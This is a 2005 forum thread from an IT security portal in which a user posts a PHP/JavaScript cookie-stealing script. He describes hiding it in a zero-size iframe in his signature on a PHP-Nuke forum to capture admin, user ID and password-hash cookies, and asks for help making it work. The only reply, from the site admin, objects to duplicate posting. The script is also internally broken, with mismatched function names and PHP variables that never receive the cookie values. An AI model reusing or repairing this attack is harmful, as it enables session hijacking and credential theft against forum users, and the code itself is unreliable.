 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 91
 Members: 0
 Total: 91
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
problem in stealing cookies with iframe - please help! |
|
 Posted: Wed Jul 13, 2005 11:45 am |
 |
|
| eli5050 |
| Beginner |
 |
|
| Joined: Jul 13, 2005 |
| Posts: 4 |
|
|
|
 |
|
 |
|
I built a script that takes all the cookies and saves them, and I hosted that script on my server.
here is the code:
| Code: | <?php
ECHO "
<script language = \"javascript\">
function ReadCookie(cookieName) {
var theCookie=\"\"+document.cookie;
var ind=theCookie.indexOf(cookieName);
if (ind==-1 || cookieName==\"\") return \"\";
var ind1=theCookie.indexOf(';',ind);
if (ind1==-1) ind1=theCookie.length;
return unescape(theCookie.substring(ind+cookieName.length+1,ind1));
}
REadCookie(admin)
readcookie(user)
readcookie(member_id)
readcookie(pass_hash)
</script>
";
$myFile = "testfile2.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = "$admin\r";
fwrite($fh, $stringData);
$stringData = "$user\r";
fwrite($fh, $stringData);
$stringData = "$member_id\r";
fwrite($fh, $stringData);
$stringData = "$pass_hash\r\r\r";
fwrite($fh, $stringData);
fclose($fh);
?> |
now, I entered some PHPIB forum (with php-nuke), and I found that html can be written in the signature, so I made an Iframe (0*0  ) in my forum signature to the evil script. (by the way - javascript code is not working in the signature)
the problem is, that when the script ran he did not take the phpnuke with phpib site cookies, but it stole cookies from my server (beacause the script hosted in it).
can anyone help and find a solution that will solve the problem and make the script take the cookies from the site with the iframe and not from my site?? |
|
|
|
|
|
|
|
|
| Posted: Wed Jul 13, 2005 2:12 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| Please don't duplicate posts! |
|
|
|
|
www.waraxe.us Forum Index -> Removed messages
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
